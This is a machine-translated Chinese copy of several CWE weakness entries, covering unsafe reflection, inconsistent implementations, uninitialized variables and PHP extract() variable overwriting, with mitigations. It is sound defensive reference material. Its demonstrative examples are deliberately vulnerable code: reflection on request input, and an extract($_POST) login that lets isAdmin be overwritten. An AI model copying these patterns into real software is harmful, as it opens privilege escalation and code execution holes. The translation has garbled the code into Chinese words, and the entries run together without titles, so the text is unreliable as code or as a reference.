视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1340年
方案及数据保护措施
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1348年
OWASP 2021年十大类别A04:2021——不安全设计
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1350年
2020 CWE最危险软件的弱点的弱点
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1387年
2022 CWE最危险软件的弱点的弱点
笔记
的关系
这可以有链接关系不完全denylist /宽容allowlist错误当产品尝试,但是失败了,适当限制允许哪些类型的文件(cwe - 183 ,cwe - 184 )。
这对中介机构也可以重叠多个解释错误,如防病毒产品与特定的文件扩展名不删除或检疫附件,可以由客户端处理系统。
分类法映射
映射分类名称
节点ID
适合
映射节点名
千鸟
不受限制的文件上传
OWASP十大2007
A3
CWE更具体
恶意文件执行
OMG ASCSM
ASCSM -cwe - 434
引用
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。17章,“文件上传”,1068页。1版。艾迪生卫斯理》2006。
内容的历史
提交
提交日期
提交者
组织
2006-07-19
千鸟
修改
修改日期
修饰符
组织
2008-07-01
Eric Dalci
Cigital
更新Time_of_Introduction
2008-09-08
CWE内容团队
主教法冠
更新Alternate_Terms、关系、Other_Notes Taxonomy_Mappings
2009-01-12
CWE内容团队
主教法冠
更新的关系
2009-12-28
CWE内容团队
主教法冠
更新Applicable_Platforms、Functional_Areas Likelihood_of_Exploit、Potential_Mitigations Time_of_Introduction
2010-02-16
CWE内容团队
主教法冠
转换从Compound_Element弱点
2010-02-16
CWE内容团队
主教法冠
更新Alternate_Terms、Applicable_Platforms Common_Consequences Demonstrative_Examples,名字,Other_Notes, Potential_Mitigations,引用,Related_Attack_Patterns, Relationship_Notes,关系类型,Weakness_Ordinalities
2010-04-05
CWE内容团队
主教法冠
更新Related_Attack_Patterns
2010-06-21
CWE内容团队
主教法冠
更新引用,Relationship_Notes
2010-09-27
CWE内容团队
主教法冠
更新Potential_Mitigations
2010-12-13
CWE内容团队
主教法冠
更新Potential_Mitigations
2011-06-27
CWE内容团队
主教法冠
更新的关系
2011-09-13
CWE内容团队
主教法冠
更新Potential_Mitigations、引用关系
2012-05-11
CWE内容团队
主教法冠
更新引用关系
2012-10-30
CWE内容团队
主教法冠
更新Potential_Mitigations
2014-07-30
CWE内容团队
主教法冠
更新Detection_Factors
2015-12-07
CWE内容团队
主教法冠
更新的关系
2017-11-08
CWE内容团队
主教法冠
更新Affected_Resources、Applicable_Platforms Likelihood_of_Exploit Modes_of_Introduction,引用关系,Weakness_Ordinalities
2019-01-03
CWE内容团队
主教法冠
更新引用关系,Taxonomy_Mappings
2019-06-20
CWE内容团队
主教法冠
更新Related_Attack_Patterns
2019-09-19
CWE内容团队
主教法冠
更新的关系
2020-02-24
CWE内容团队
主教法冠
更新Applicable_Platforms Potential_Mitigations
2020-06-25
CWE内容团队
主教法冠
更新Potential_Mitigations Relationship_Notes
2020-08-20
CWE内容团队
主教法冠
更新的关系
2020-12-10
CWE内容团队
主教法冠
更新的关系
2021-03-15
CWE内容团队
主教法冠
更新Demonstrative_Examples
2021-07-20
CWE内容团队
主教法冠
更新的关系
2021-10-28
CWE内容团队
主教法冠
更新的关系
2022-04-28
CWE内容团队
主教法冠
更新Research_Gaps
2022-06-28
CWE内容团队
主教法冠
更新的关系
2022-10-13
CWE内容团队
主教法冠
更新的引用
2023-01-31
CWE内容团队
主教法冠
更新Alternate_Terms、描述
以前的条目名称
改变日期
以前的条目名称
2010-02-16
不受限制的文件上传
cwe - 470:使用外部控制输入选择类或代码(“不安全的反思”)
描述
产品使用外部输入和反射来选择使用哪个类或代码,但这并不足够防止输入选择不当或代码的类。
扩展描述
如果产品使用外部输入来确定哪个类来实例化或方法调用,那么攻击者可以提供值来选择意想不到的类或方法。如果发生这种情况,那么攻击者可以创建控制流路径没有开发人员的意图。这些路径可以绕过身份验证或访问控制检查,或者导致产品以一种意想不到的方式表现。这种情况下成为一个世界末日的场景,如果攻击者可以上传文件到一个位置,出现在产品的类路径(
cwe - 427 )或将新条目添加到产品的类路径(
cwe - 426 )。在这两种情况下,攻击者可以使用反射来引入新的、恶意行为的产品。
替代条款
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关观点“软件开发”(cwe - 699)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
399年
资源管理错误
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
913年
不当的控制代码动态地管理资源
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关观点“七有害的王国”(cwe - 700)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
20.
不正确的输入验证
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
完整性 保密 可用性 其他
技术的影响: 执行未经授权的代码或命令;改变执行逻辑
攻击者可以执行代码,攻击者不能直接访问。交替,攻击者可以叫意想不到的代码在错误的地方或错误的时间,可能修改关键的系统状态。
可用性 其他
攻击者可以使用反射来调用错误的代码,可能与意想不到的观点违背了API (
cwe - 227 )。这可能导致产品退出或挂起。
保密
导致错误的代码被调用,攻击者可能会触发一个运行时错误泄漏敏感信息的错误消息,如
cwe - 536 。
示范例子
示例1
一个常见的原因,程序员使用反射API来实现他们自己的指挥调度。下面的示例显示了一个指挥调度程序,不使用反射:
字符串ctl = request.getParameter (ctl);
工人ao =零;
如果(ctl.equals(“添加”)){
ao = new AddCommand ();
}
else if (ctl.equals(“修改”)){
ao = new ModifyCommand ();
}
其他{
把新UnknownActionError ();
}
ao.doAction(请求);
程序员可能重构代码使用反映如下:
字符串ctl = request.getParameter (ctl); 类cmdClass =类。forName (ctl +“命令”); 工人ao =(工人)cmdClass.newInstance (); ao.doAction(请求);
重构最初似乎带来了许多优势。有更少的代码行数,if / else块已经完全消除,和现在可以添加新命令类型无需修改调度员的命令。然而,重构允许攻击者实例化实现工人的任何对象的接口。如果调度员的命令仍负责访问控制,然后每当程序员创建一个新类,它实现了工人接口,他们必须记住修改调度程序的访问控制代码。如果不修改访问控制代码,然后一些工人类不会有任何访问控制。
为了解决这个访问控制问题的一个方法是让工人对象负责执行访问控制检查。re-refactored代码的一个例子:
字符串ctl = request.getParameter (ctl); 类cmdClass =类。forName (ctl +“命令”); 工人ao =(工人)cmdClass.newInstance (); ao.checkAccessControl(请求); ao.doAction(请求);
虽然这是一种进步,它鼓励分散的访问控制方法,使程序员更容易使访问控制错误。这段代码使用反射来还突出了另一个安全问题建立一个指挥调度。攻击者可以为任何类型的对象调用默认构造函数。事实上,攻击者甚至不是约束对象,实现职工接口;系统中任何对象的默认构造函数可以调用。如果对象没有实现职工接口,将抛出一个ClassCastException之前ao的任务,但如果构造函数执行操作,在攻击者的支持工作,将已经完成的损害。尽管这个场景是相对良性的简单产品,在较大的产品复杂性呈指数级增长并不是不合理的,攻击者可能会发现一个构造函数利用攻击的一部分。
观察到的例子
参考
描述
数据库系统允许攻击者绕过沙箱限制使用反射APi。
潜在的缓解措施
阶段:体系结构和设计
重构你的代码,以避免使用反射。
阶段:体系结构和设计
不要使用用户输入的选择和负载类或代码。
实施阶段:
应用严格的输入验证通过allowlists或间接选择,以确保用户只选择允许类或代码。
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
分类法映射
映射分类名称
节点ID
适合
映射节点名
7有害的王国
不安全的反射
CERT甲骨文安全Java编码标准(2011)
SEC06-J
不要使用反射来提高可访问性的类,方法或字段
引用
描述
扩展描述
的使用不一致的实现会导致行为的变化当代码移植或比程序员希望建立一个不同的环境下,这可能会导致在某些情况下的安全问题。
平台的实现许多功能不同,有时,甚至通过不同版本的相同的平台。实现差异可以包括:
轻微的不同参数解释导致不一致的结果。
一些函数的实现带来重大的安全风险。
在所有平台上定义的函数可能不是。
返回代码的函数可能会改变它可以提供,或改变其返回代码的含义。
的关系
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
潜在的缓解措施
阶段:体系结构和设计;需求
不接受从API规范不一致的行为越轨行为增加的风险水平。
弱点Ordinalities
Ordinality
描述
主
(其他弱点的弱点存在独立的)
间接
(缺点是一个质量问题,可能会间接更容易引入的安全相关的弱点或使他们更难检测)
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
分类法映射
映射分类名称
节点ID
适合
映射节点名
7有害的王国
不一致的实现
软件故障模式
SFP3
使用不当的API
引用
描述
代码使用一个变量没有初始化,导致不可预知的或意想不到的结果。
扩展描述
在某些语言如C和c++,默认堆栈变量没有初始化。他们通常包含垃圾数据堆栈的内容记忆之前调用这个函数。攻击者有时可以控制或阅读这些内容。在其他语言或条件,未显式初始化的变量可以给一个默认值,安全问题,这取决于程序的逻辑。未初始化的变量的存在有时可以显示一个排版错误的代码。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”方案及质量的措施(2020)”(CWE-1305)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
665年
不适当的初始化
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”方案及数据保护措施”(cwe - 1340)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
665年
不适当的初始化
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段
请注意
实现
在C语言中,使用未初始化的char *在某些字符串库将返回不正确的结果,作为图书馆希望零终结者总是最后一个字符串,即使字符串是空的。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
可用性 完整性 其他
初始变量通常包含垃圾,不能信任的一致性。这可能导致拒绝服务条件,或修改控制流以意想不到的方式。在某些情况下,攻击者可以使用之前的行动“pre-initialize”变量,这可能使代码执行。这可能会导致竞态条件如果锁变量检查时不应该。
授权 其他
字符串不初始化尤其危险,因为许多功能预计最后一个空的——最后,只有一个字符串。
利用的可能性
示范例子
示例1
这段代码输出一个问候使用信息存储在一个POST请求:
如果收取($ _POST['名字'])){
$ nameArray = $ _POST['名字'];
}
“你好”。美元nameArray['第一次'];
这段代码检查POST数组的名字的是之前设置分配$ nameArray变量。然而,如果数组不是在POST请求,nameArray美元将保持未初始化。这将导致一个错误访问数组时打印问候信息,这可能导致进一步的利用。
示例2
以下switch语句的目的是设置变量的值和bN之前使用:
int, Bn;
开关(ctl) {
案例1:
一个= 0; bN = 0; 打破;
例0:
=我; bN =我; 打破;
案例1:
=我+ NEXT_SZ; bN = i - NEXT_SZ; 打破;
默认值:
一个= 1; 一个= 1; 打破;
}
重画(bN);
switch语句的默认情况下,程序员有意外的价值的两倍。因此,bN将一个未定义的值。大多数未初始化的变量问题导致通用软件可靠性问题,但是如果攻击者可以故意触发使用未初始化的变量,他们可能会发起拒绝服务攻击程序崩溃。在适当的情况下,攻击者可以通过影响控制未初始化变量的值栈上的值之前调用的函数。
示例3
这个例子将在一个未知的条件下,当我离开test_string err_val是相同的值,因为test_string不是初始化(cwe - 456 )。根据这个代码段出现(如在一个函数体),test_string可能是随机的,如果是存储在堆或堆栈。如果中声明的变量是静态内存,它可能是零个或NULL。编译器优化这个地址的不可预知性。
char * test_string;
如果(我! = err_val)
{
test_string =“Hello World !”;
}
printf (" % s ", test_string);
当printf (), test_string可能是一个意想不到的地址,所以printf可能打印垃圾字符串(cwe - 457 )。
修复这段代码中,有一些方法来确保已正确设置test_string一旦它到达printf ()。
一个解决方案是集test_string前可以接受默认的条件:
char * test_string =初“完成”;
如果(我! = err_val)
{
test_string =“Hello World !”;
}
printf (" % s ", test_string);
另一个解决方案是确保每个分支的条件,包括默认的/ else分支,可以确保test_string设置:
char * test_string;
如果(我! = err_val)
{
test_string =“Hello World !”;
}
其他{
test_string = "做另一边!”;
}
printf (" % s ", test_string);
观察到的例子
参考
描述
未初始化的变量导致流行的桌面应用程序的代码执行。
精心设计的输入触发引用未初始化的对象的指针。
精心制作的音频文件触发使用未初始化的变量时崩溃。
使用未初始化的变量随机种子。
潜在的缓解措施
实施阶段:
将所有变量分配给一个初始值。
阶段:构建和编译
大多数编译器将抱怨使用未初始化的变量是否打开警告。
阶段:实施;操作
当使用一种语言,不需要显式声明的变量,运行或编译软件模式,报告未申报或未知的变量。这可能表明存在一个排版错误的变量的名字。
阶段:需求
选择可以使用的语言,这些问题并不容易。
阶段:体系结构和设计
减轻技术,如安全字符串库和容器可以引入抽象。
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
分类法映射
映射分类名称
节点ID
适合
映射节点名
扣
未初始化变量
7有害的王国
未初始化变量
软件故障模式
SFP1只能
在计算故障
SEI CERT Perl编码标准
DCL33-PL
不精确的
在使用它们之前声明的标识符
引用
迈克尔•霍华德(REF-44)大卫·勒布朗和Viega约翰。软件安全的“24宗罪”。“罪恶之八:c++灾难。”Page 143. McGraw-Hill. 2010.
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。第七章“变量初始化”,312页。1版。艾迪生卫斯理》2006。
描述
产品使用外部输入来确定变量的名称,信息提取,没有验证指定的变量的名字是有效的。这可能导致程序覆盖意想不到的变量。
扩展描述
例如,在PHP中,提取可用于提供功能类似于register_globals,危险的功能,通常是在生产系统中禁用。调用提取()或import_request_variables()如果没有适当的参数可能允许任意全局变量被覆盖,包括已经。
在其他的解释语言,也可以实现类似的功能,包括自定义语言。
替代条款
的关系
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
完整性
攻击者可以修改敏感数据或程序变量。
示范例子
示例1
这段代码使用证书中发送一个POST请求登录用户。
/ /用户登录,并设置isAdmin美元真正的如果用户是管理员
函数登录(用户,通过美元){
查询美元= buildQuery(用户,通过美元);
美元mysql_query(查询);
如果(getUserRole(用户)美元= =“Admin”) {
美元isAdmin = true;
}
}
美元isAdmin = false;
提取($ _POST);
用户登录(mysql_real_escape_string(美元),mysql_real_escape_string(通过美元));
提取()的调用将会覆盖现有的任何定义的变量的值之前,在这种情况下isAdmin美元。攻击者可以发送一个POST请求与一个意想不到的第三“isAdmin”等于“真正”的价值,从而获得管理员权限。
观察到的例子
参考
描述
使文件包含提取问题
提取用于register_globals兼容性层,使路径遍历
提取()埋在包含文件使post-disclosure分析混淆;原始的报告似乎是不正确的。
提取()使静态代码注入
import_request_variables()埋在包含文件使post-disclosure分析混淆
潜在的缓解措施
实施阶段:
使用allowlists可以提取的变量名。
实施阶段:
考虑重构你的代码完全避免提取例程。
实施阶段:
在PHP中,调用提取()等选项EXTR_SKIP EXTR_PREFIX_ALL;调用import_request_variables()和一个前缀的论点。注意,这些功能并不存在于所有的PHP版本。
弱点Ordinalities
Ordinality
描述
主
(其他弱点的弱点存在独立的)
笔记
研究的差距
PHP可能低报。看起来超其他解释型语言。
分类法映射
映射分类名称
节点ID
适合
映射节点名
软件故障模式
SFP24
污染输入命令